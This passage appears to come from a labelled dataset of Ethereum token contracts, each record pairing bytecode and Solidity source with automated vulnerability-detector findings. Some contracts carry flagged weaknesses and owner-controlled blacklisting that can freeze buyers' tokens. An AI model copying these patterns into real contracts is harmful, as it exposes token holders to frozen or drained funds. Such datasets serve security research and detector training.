b505050506040513d6020811015610eb557600080fd5b8101908080519060200190929190505050505050565b6000838311158290610f78576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f3d578082015181840152602081019050610f22565b50505050905090810190601f168015610f6a5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b60008083118290611037576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610ffc578082015181840152602081019050610fe1565b50505050905090810190601f1680156110295780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161104357fe5b04905080915050939250505056fe496e73756666696369656e7420617661696c61626c652062616c616e636520666f72207472616e73666572596f7520646f206e6f742068617665207065726d697373696f6e20746f206f706572617465536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77546865206c6f636b20616464726573732063616e6e6f74206265206120626c61636b20686f6c652061646472657373a2646970667358221220312ff10b4de3725f2ffd55d90897969232a7c322bb6839654b53ac1fc5808d5764736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 8,136 |
0x0c3521daabe5e1acbdafa0f62195feb9d897d2c1
|
/**
*Submitted for verification at Etherscan.io on 2022-03-01
*/
// SPDX-License-Identifier: Unlicensed
/*
______ _____ _______ _______ _______ _____ _____ _______ _______
| \ | | | | |_____| |_____] | | |_____| |
|_____/ |_____| | |_____ | | | __|__ | | | |_____
website: https://dotcapital.finance
telegram: https://t.me/dotcapital
*/
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner() {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner() {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
contract DOTCAPITAL is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
uint256 private constant _MAX = ~uint256(0);
uint256 private constant _tTotal = 1e10 * 10**9;
uint256 private _rTotal = (_MAX - (_MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "Dot Capital";
string private constant _symbol = "DOTCAPITAL";
uint private constant _decimals = 9;
uint256 private _teamFee = 15;
uint256 private _previousteamFee = _teamFee;
uint256 private _maxTxnAmount = 4;
address payable private _feeAddress;
// Uniswap Pair
IUniswapV2Router02 private _uniswapV2Router;
address private _uniswapV2Pair;
bool private _initialized = false;
bool private _noTaxMode = false;
bool private _inSwap = false;
bool private _tradingOpen = false;
uint256 private _launchTime;
bool private _txnLimit = false;
modifier lockTheSwap() {
_inSwap = true;
_;
_inSwap = false;
}
modifier handleFees(bool takeFee) {
if (!takeFee) _removeAllFees();
_;
if (!takeFee) _restoreAllFees();
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[payable(0x000000000000000000000000000000000000dEaD)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _removeAllFees() private {
require(_teamFee > 0);
_previousteamFee = _teamFee;
_teamFee = 0;
}
function _restoreAllFees() private {
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBot[from], "Your address has been marked as a bot, please contact staff to appeal your case.");
bool takeFee = false;
if (
!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to]
&& !_noTaxMode
&& (from == _uniswapV2Pair || to == _uniswapV2Pair)
) {
require(_tradingOpen, 'Trading has not yet been opened.');
takeFee = true;
if (from == _uniswapV2Pair && to != address(_uniswapV2Router) && _txnLimit) {
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _tTotal.mul(_maxTxnAmount).div(100));
}
if (block.timestamp == _launchTime) _isBot[to] = true;
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _uniswapV2Pair) {
if (contractTokenBalance > 0) {
if (contractTokenBalance > balanceOf(_uniswapV2Pair).mul(15).div(100))
contractTokenBalance = balanceOf(_uniswapV2Pair).mul(15).div(100);
_swapTokensForEth(contractTokenBalance);
}
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap() {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswapV2Router.WETH();
_approve(address(this), address(_uniswapV2Router), tokenAmount);
_uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private handleFees(takeFee) {
(uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tTeam) = _getTValues(tAmount, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount) = _getRValues(tAmount, tTeam, currentRate);
return (rAmount, rTransferAmount, tTransferAmount, tTeam);
}
function _getTValues(uint256 tAmount, uint256 TeamFee) private pure returns (uint256, uint256) {
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tTeam);
return (tTransferAmount, tTeam);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rTeam);
return (rAmount, rTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function initNewPair(address payable feeAddress) external onlyOwner() {
require(!_initialized,"Contract has already been initialized");
IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
_uniswapV2Router = uniswapV2Router;
_feeAddress = feeAddress;
_isExcludedFromFee[_feeAddress] = true;
_initialized = true;
}
function startTrading() external onlyOwner() {
require(_initialized);
_tradingOpen = true;
_launchTime = block.timestamp;
_txnLimit = true;
}
function setFeeWallet(address payable feeWalletAddress) external onlyOwner() {
_isExcludedFromFee[_feeAddress] = false;
_feeAddress = feeWalletAddress;
_isExcludedFromFee[_feeAddress] = true;
}
function excludeFromFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = true;
}
function includeToFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = false;
}
function enableTxnLimit(bool onoff) external onlyOwner() {
_txnLimit = onoff;
}
function setTeamFee(uint256 fee) external onlyOwner() {
require(fee < 5);
_teamFee = fee;
}
function setMaxTxn(uint256 max) external onlyOwner(){
require(max>2);
_maxTxnAmount = max;
}
function setBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != _uniswapV2Pair && bots_[i] != address(_uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
function isExcludedFromFee(address ad) public view returns (bool) {
return _isExcludedFromFee[ad];
}
function swapFeesManual() external onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
_swapTokensForEth(contractBalance);
}
function withdrawFees() external {
uint256 contractETHBalance = address(this).balance;
_feeAddress.transfer(contractETHBalance);
}
receive() external payable {}
}
|
0x6080604052600436106101855760003560e01c806370a08231116100d1578063a9059cbb1161008a578063dd62ed3e11610064578063dd62ed3e146104a3578063e6ec64ec146104e9578063f2fde38b14610509578063fc588c041461052957600080fd5b8063a9059cbb14610443578063b515566a14610463578063cf0848f71461048357600080fd5b806370a0823114610373578063715018a6146103935780637c938bb4146103a85780638da5cb5b146103c857806390d49b9d146103f057806395d89b411461041057600080fd5b8063313ce5671161013e5780633bbac579116101185780633bbac579146102cc578063437823ec14610305578063476343ee146103255780635342acb41461033a57600080fd5b8063313ce5671461027857806331c2d8471461028c5780633a0f23b3146102ac57600080fd5b806306d8ea6b1461019157806306fdde03146101a8578063095ea7b3146101ee57806318160ddd1461021e57806323b872dd14610243578063293230b81461026357600080fd5b3661018c57005b600080fd5b34801561019d57600080fd5b506101a6610549565b005b3480156101b457600080fd5b5060408051808201909152600b81526a111bdd0810d85c1a5d185b60aa1b60208201525b6040516101e5919061195f565b60405180910390f35b3480156101fa57600080fd5b5061020e6102093660046119d9565b610595565b60405190151581526020016101e5565b34801561022a57600080fd5b50678ac7230489e800005b6040519081526020016101e5565b34801561024f57600080fd5b5061020e61025e366004611a05565b6105ac565b34801561026f57600080fd5b506101a6610615565b34801561028457600080fd5b506009610235565b34801561029857600080fd5b506101a66102a7366004611a5c565b61067b565b3480156102b857600080fd5b506101a66102c7366004611b21565b610711565b3480156102d857600080fd5b5061020e6102e7366004611b43565b6001600160a01b031660009081526005602052604090205460ff1690565b34801561031157600080fd5b506101a6610320366004611b43565b61074e565b34801561033157600080fd5b506101a661079c565b34801561034657600080fd5b5061020e610355366004611b43565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561037f57600080fd5b5061023561038e366004611b43565b6107d6565b34801561039f57600080fd5b506101a66107f8565b3480156103b457600080fd5b506101a66103c3366004611b43565b61082e565b3480156103d457600080fd5b506000546040516001600160a01b0390911681526020016101e5565b3480156103fc57600080fd5b506101a661040b366004611b43565b610a89565b34801561041c57600080fd5b5060408051808201909152600a8152691113d510d0541255105360b21b60208201526101d8565b34801561044f57600080fd5b5061020e61045e3660046119d9565b610b03565b34801561046f57600080fd5b506101a661047e366004611a5c565b610b10565b34801561048f57600080fd5b506101a661049e366004611b43565b610c29565b3480156104af57600080fd5b506102356104be366004611b60565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b3480156104f557600080fd5b506101a6610504366004611b99565b610c74565b34801561051557600080fd5b506101a6610524366004611b43565b610cb0565b34801561053557600080fd5b506101a6610544366004611b99565b610d48565b6000546001600160a01b0316331461057c5760405162461bcd60e51b815260040161057390611bb2565b60405180910390fd5b6000610587306107d6565b905061059281610d84565b50565b60006105a2338484610efe565b5060015b92915050565b60006105b9848484611022565b61060b843361060685604051806060016040528060288152602001611d2d602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190611448565b610efe565b5060019392505050565b6000546001600160a01b0316331461063f5760405162461bcd60e51b815260040161057390611bb2565b600d54600160a01b900460ff1661065557600080fd5b600d805460ff60b81b1916600160b81b17905542600e55600f805460ff19166001179055565b6000546001600160a01b031633146106a55760405162461bcd60e51b815260040161057390611bb2565b60005b815181101561070d576000600560008484815181106106c9576106c9611be7565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061070581611c13565b9150506106a8565b5050565b6000546001600160a01b0316331461073b5760405162461bcd60e51b815260040161057390611bb2565b600f805460ff1916911515919091179055565b6000546001600160a01b031633146107785760405162461bcd60e51b815260040161057390611bb2565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b600b5460405147916001600160a01b03169082156108fc029083906000818181858888f1935050505015801561070d573d6000803e3d6000fd5b6001600160a01b0381166000908152600160205260408120546105a690611482565b6000546001600160a01b031633146108225760405162461bcd60e51b815260040161057390611bb2565b61082c6000611506565b565b6000546001600160a01b031633146108585760405162461bcd60e51b815260040161057390611bb2565b600d54600160a01b900460ff16156108c05760405162461bcd60e51b815260206004820152602560248201527f436f6e74726163742068617320616c7265616479206265656e20696e697469616044820152641b1a5e995960da1b6064820152608401610573565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610917573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061093b9190611c2e565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610988573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109ac9190611c2e565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156109f9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a1d9190611c2e565b600d80546001600160a01b039283166001600160a01b0319918216178255600c805494841694821694909417909355600b8054949092169390921683179055600091825260046020526040909120805460ff19166001179055805460ff60a01b1916600160a01b179055565b6000546001600160a01b03163314610ab35760405162461bcd60e51b815260040161057390611bb2565b600b80546001600160a01b03908116600090815260046020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b60006105a2338484611022565b6000546001600160a01b03163314610b3a5760405162461bcd60e51b815260040161057390611bb2565b60005b815181101561070d57600d5482516001600160a01b0390911690839083908110610b6957610b69611be7565b60200260200101516001600160a01b031614158015610bba5750600c5482516001600160a01b0390911690839083908110610ba657610ba6611be7565b60200260200101516001600160a01b031614155b15610c1757600160056000848481518110610bd757610bd7611be7565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610c2181611c13565b915050610b3d565b6000546001600160a01b03163314610c535760405162461bcd60e51b815260040161057390611bb2565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b03163314610c9e5760405162461bcd60e51b815260040161057390611bb2565b60058110610cab57600080fd5b600855565b6000546001600160a01b03163314610cda5760405162461bcd60e51b815260040161057390611bb2565b6001600160a01b038116610d3f5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610573565b61059281611506565b6000546001600160a01b03163314610d725760405162461bcd60e51b815260040161057390611bb2565b60028111610d7f57600080fd5b600a55565b600d805460ff60b01b1916600160b01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610dcc57610dcc611be7565b6001600160a01b03928316602091820292909201810191909152600c54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610e25573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e499190611c2e565b81600181518110610e5c57610e5c611be7565b6001600160a01b039283166020918202929092010152600c54610e829130911684610efe565b600c5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610ebb908590600090869030904290600401611c4b565b600060405180830381600087803b158015610ed557600080fd5b505af1158015610ee9573d6000803e3d6000fd5b5050600d805460ff60b01b1916905550505050565b6001600160a01b038316610f605760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610573565b6001600160a01b038216610fc15760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610573565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166110865760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610573565b6001600160a01b0382166110e85760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610573565b6000811161114a5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610573565b6001600160a01b03831660009081526005602052604090205460ff16156111f25760405162461bcd60e51b815260206004820152605060248201527f596f7572206164647265737320686173206265656e206d61726b65642061732060448201527f6120626f742c20706c6561736520636f6e7461637420737461666620746f206160648201526f383832b0b6103cb7bab91031b0b9b29760811b608482015260a401610573565b6001600160a01b03831660009081526004602052604081205460ff1615801561123457506001600160a01b03831660009081526004602052604090205460ff16155b801561124a5750600d54600160a81b900460ff16155b801561127a5750600d546001600160a01b038581169116148061127a5750600d546001600160a01b038481169116145b1561143657600d54600160b81b900460ff166112d85760405162461bcd60e51b815260206004820181905260248201527f54726164696e6720686173206e6f7420796574206265656e206f70656e65642e6044820152606401610573565b50600d546001906001600160a01b0385811691161480156113075750600c546001600160a01b03848116911614155b80156113155750600f5460ff165b15611366576000611325846107d6565b905061134f6064611349600a54678ac7230489e8000061155690919063ffffffff16565b906115d5565b6113598483611617565b111561136457600080fd5b505b600e54421415611394576001600160a01b0383166000908152600560205260409020805460ff191660011790555b600061139f306107d6565b600d54909150600160b01b900460ff161580156113ca5750600d546001600160a01b03868116911614155b1561143457801561143457600d546113fe9060649061134990600f906113f8906001600160a01b03166107d6565b90611556565b81111561142b57600d546114289060649061134990600f906113f8906001600160a01b03166107d6565b90505b61143481610d84565b505b61144284848484611676565b50505050565b6000818484111561146c5760405162461bcd60e51b8152600401610573919061195f565b5060006114798486611cbc565b95945050505050565b60006006548211156114e95760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610573565b60006114f3611779565b90506114ff83826115d5565b9392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600082611565575060006105a6565b60006115718385611cd3565b90508261157e8583611cf2565b146114ff5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610573565b60006114ff83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061179c565b6000806116248385611d14565b9050838110156114ff5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610573565b8080611684576116846117ca565b600080600080611693876117e6565b6001600160a01b038d16600090815260016020526040902054939750919550935091506116c0908561182d565b6001600160a01b03808b1660009081526001602052604080822093909355908a16815220546116ef9084611617565b6001600160a01b0389166000908152600160205260409020556117118161186f565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161175691815260200190565b60405180910390a3505050508061177257611772600954600855565b5050505050565b60008060006117866118b9565b909250905061179582826115d5565b9250505090565b600081836117bd5760405162461bcd60e51b8152600401610573919061195f565b5060006114798486611cf2565b6000600854116117d957600080fd5b6008805460095560009055565b6000806000806000806117fb876008546118f9565b915091506000611809611779565b90506000806118198a8585611926565b909b909a5094985092965092945050505050565b60006114ff83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611448565b6000611879611779565b905060006118878383611556565b306000908152600160205260409020549091506118a49082611617565b30600090815260016020526040902055505050565b6006546000908190678ac7230489e800006118d482826115d5565b8210156118f057505060065492678ac7230489e8000092509050565b90939092509050565b6000808061190c60646113498787611556565b9050600061191a868361182d565b96919550909350505050565b600080806119348685611556565b905060006119428686611556565b90506000611950838361182d565b92989297509195505050505050565b600060208083528351808285015260005b8181101561198c57858101830151858201604001528201611970565b8181111561199e576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461059257600080fd5b80356119d4816119b4565b919050565b600080604083850312156119ec57600080fd5b82356119f7816119b4565b946020939093013593505050565b600080600060608486031215611a1a57600080fd5b8335611a25816119b4565b92506020840135611a35816119b4565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611a6f57600080fd5b823567ffffffffffffffff80821115611a8757600080fd5b818501915085601f830112611a9b57600080fd5b813581811115611aad57611aad611a46565b8060051b604051601f19603f83011681018181108582111715611ad257611ad2611a46565b604052918252848201925083810185019188831115611af057600080fd5b938501935b82851015611b1557611b06856119c9565b84529385019392850192611af5565b98975050505050505050565b600060208284031215611b3357600080fd5b813580151581146114ff57600080fd5b600060208284031215611b5557600080fd5b81356114ff816119b4565b60008060408385031215611b7357600080fd5b8235611b7e816119b4565b91506020830135611b8e816119b4565b809150509250929050565b600060208284031215611bab57600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611c2757611c27611bfd565b5060010190565b600060208284031215611c4057600080fd5b81516114ff816119b4565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611c9b5784516001600160a01b031683529383019391830191600101611c76565b50506001600160a01b03969096166060850152505050608001529392505050565b600082821015611cce57611cce611bfd565b500390565b6000816000190483118215151615611ced57611ced611bfd565b500290565b600082611d0f57634e487b7160e01b600052601260045260246000fd5b500490565b60008219821115611d2757611d27611bfd565b50019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200ca17bfd8addf09af75812a11605cef8e6f511cc35efe209e0e53e02dba0be0e64736f6c634300080c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,137 |
0xdf8a9869001eac244a43c29ef8d0c7b2b2b26d3b
|
/**
//SPDX-License-Identifier: UNLICENSED
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract IROH is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) public isExcludedFromFee;
mapping (address => bool) public isExcludedFromLimit;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1_000_000_000_000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public swapThreshold = 100_000_000 * 10**9;
uint256 private _reflectionFee = 0;
uint256 private _teamFee = 11;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "IROH";
string private constant _symbol = "IROH";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap;
bool private swapEnabled;
bool private cooldownEnabled;
uint256 private _maxTxAmount = 30_000_000_000 * 10**9;
uint256 private _maxWalletAmount = 30_000_000_000 * 10**9;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address wallet1, address wallet2) {
_feeAddrWallet1 = payable(wallet1);
_feeAddrWallet2 = payable(wallet2);
_rOwned[_msgSender()] = _rTotal;
isExcludedFromFee[owner()] = true;
isExcludedFromFee[address(this)] = true;
isExcludedFromFee[_feeAddrWallet1] = true;
isExcludedFromFee[_feeAddrWallet2] = true;
isExcludedFromLimit[owner()] = true;
isExcludedFromLimit[address(this)] = true;
isExcludedFromLimit[address(0xdead)] = true;
isExcludedFromLimit[_feeAddrWallet1] = true;
isExcludedFromLimit[_feeAddrWallet2] = true;
emit Transfer(address(this), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
